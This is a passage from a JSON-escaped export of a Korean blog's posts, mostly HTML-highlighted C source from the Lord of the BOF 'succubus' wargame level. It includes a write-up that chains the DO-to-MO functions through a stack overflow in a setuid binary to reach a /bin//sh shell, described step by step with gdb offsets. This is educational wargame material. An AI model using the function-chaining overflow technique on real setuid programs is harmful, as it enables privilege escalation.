class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"c1\"\u003e// check address\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eaddr\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003estrcpy\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nf\"\u003ememcmp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eargv\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mi\"\u003e44\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003eaddr\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;You must fall in love with strcpy()\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nf\"\u003eexit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"c1\"\u003e// overflow!\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003estrcpy\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eargv\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%s\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"c1\"\u003e// dangerous waterfall\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003ememset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mi\"\u003e40\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;A\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e풀이에 앞서 먼저 조건을 살펴보겠습니다.\u003c/p\u003e","title":"LOB succubus (lv.18/20) Writeup"},{"content":"이번 문제는 함수를 체이닝 하는 간단한 문제입니다.\n/* The Lord of the BOF : The Fellowship of the BOF - succubus - calling functions continuously */ #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;dumpcode.h\u0026gt; // the inspector int check = 0; void MO(char * cmd) { if (check != 4) exit(0); printf(\u0026#34;welcome to the MO!\\n\u0026#34;); // olleh! system(cmd); } void YUT(void) { if (check != 3) exit(0); printf(\u0026#34;welcome to the YUT!\\n\u0026#34;); check = 4; } void GUL(void) { if (check != 2) exit(0); printf(\u0026#34;welcome to the GUL!\\n\u0026#34;); check = 3; } void GYE(void) { if (check != 1) exit(0); printf(\u0026#34;welcome to the GYE!\\n\u0026#34;); check = 2; } void DO(void) { printf(\u0026#34;welcome to the DO!\\n\u0026#34;); check = 1; } main(int argc, char * argv[]) { char buffer[40]; char * addr; if (argc \u0026lt; 2) { printf(\u0026#34;argv error\\n\u0026#34;); exit(0); } // you cannot use library if (strchr(argv[1], \u0026#39;\\x40\u0026#39;)) { printf(\u0026#34;You cannot use library\\n\u0026#34;); exit(0); } // check address addr = (char * ) \u0026amp; DO; if (memcmp(argv[1] + 44, \u0026amp; addr, 4) != 0) { printf(\u0026#34;You must fall in love with DO\\n\u0026#34;); exit(0); } // overflow! strcpy(buffer, argv[1]); printf(\u0026#34;%s\\n\u0026#34;, buffer); // stack destroyer // 100 : extra space for copied argv[1] memset(buffer, 0, 44); memset(buffer + 48 + 100, 0, 0xbfffffff - (int)(buffer + 48 + 100)); // LD_* eraser // 40 : extra space for memset function memset(buffer - 3000, 0, 3000 - 40); } 여러 제약 조건들로 인해 출제자의 의도대로 DO(), GYE(), GUL(), YUT(), MO() 함수를 체이닝 할수밖에 없습니다.\n함수는 반드시 순서대로 호출\nRTL 불가(libc 주소에 0x40 포함됨)\n첫 ret 영역에는 반드시 DO() 가 들어가야함\n페이로드 길이 제한(buffer+148 까지)\nLD_PRELOAD 같은 환경변수 트릭 불가\n원본 바이너리는 setuid 가 걸려있기 때문에 동적 분석을 위해 바이너리를 복사하여 gdb 로 실행시켜 보겠습니다.\n더미 44바이트 + DO() 의 주소를 넘기고 실행해봤습니다.\n이제 DO() 가 끝나고 ret가 수행될때 esp가 어디를 가르키는지 오프셋을 확인해야합니다.\n사실 DO() ~ MO() 함수들은 모두 함수 프롤/에필로그를 가지고 있기 때문에 일렬로 나열만 해주면 순차적으로 실행이 되지만\u0026hellip;\n그래도 눈으로 확인하면 재밌으니까 확인 해보겠습니다.\nmain+267(ret) 에선 esp 가 0xbffffc4c 를 가르키고 있습니다. DO() 의 ret 에 BP 를 걸고 esp 와 0xbffffc4c 간의 오프셋을 구하면 GYE() 함수의 주소가 어디에 들어가야 하는지 알수있습니다.\nDO+27(ret) 에선 esp 가 0xbffffc50 을 가르키고 있으니 오프셋은 4입니다.\n이제 나머지 함수들을 일렬로 호출해주면 됩니다.\n이제 MO() 까지 호출하는건 성공했고 void MO(char *cmd) 에 /bin//sh 문자열 주소를 전달해야 합니다.\nMO() 내부에서 ebp+8 에 적힌 값을 인자로 받아 system() 으로 넘기고 있기 때문에 /bin//sh 문자열을 스택에 미리 배치해놓고 그 주소값을 ebp+8 에 넣어놔야 합니다.\n현재 페이로드에 더미 4바이트 + /bin//sh 주소 + 실제 /bin//sh 문자열 이렇게 추가로 넣어주면 됩니다.\n읽어주셔서 감사합니다.\n","permalink":"https://byeongmin.kr/posts/2019-04-18-lob-zombie-assassin-lv-17-20-writeup/","summary":"\u003cp\u003e이번 문제는 함수를 체이닝 하는 간단한 문제입니다.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/*\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e    The Lord of the BOF : The Fellowship of the BOF\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e    - succubus\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e    - calling functions continuously\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;dumpcode.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// the inspector\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003echeck\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eMO\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003ecmd\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003echeck\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nf\"\u003eexit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;welcome to the MO!\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"c1\"\u003e// olleh!\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003esystem\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecmd\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eYUT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003echeck\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nf\"\u003eexit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;welcome to the YUT!\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003echeck\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eGUL\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003echeck\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nf\"\u003eexit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;welcome to the GUL!\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003echeck\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eGYE\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003echeck\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nf\"\u003eexit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;welcome to the GYE!\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003echeck\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eDO\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;welcome to the DO!\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003echeck\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eargc\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003eargv\u003c/span\u003e\u003cspan class=\"p\"\u003e[])\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e40\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003eaddr\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eargc\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;argv error\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nf\"\u003eexit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"c1\"\u003e// you cannot use library\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nf\"\u003estrchr\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eargv\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;\\x40\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;You cannot use library\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nf\"\u003eexit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan 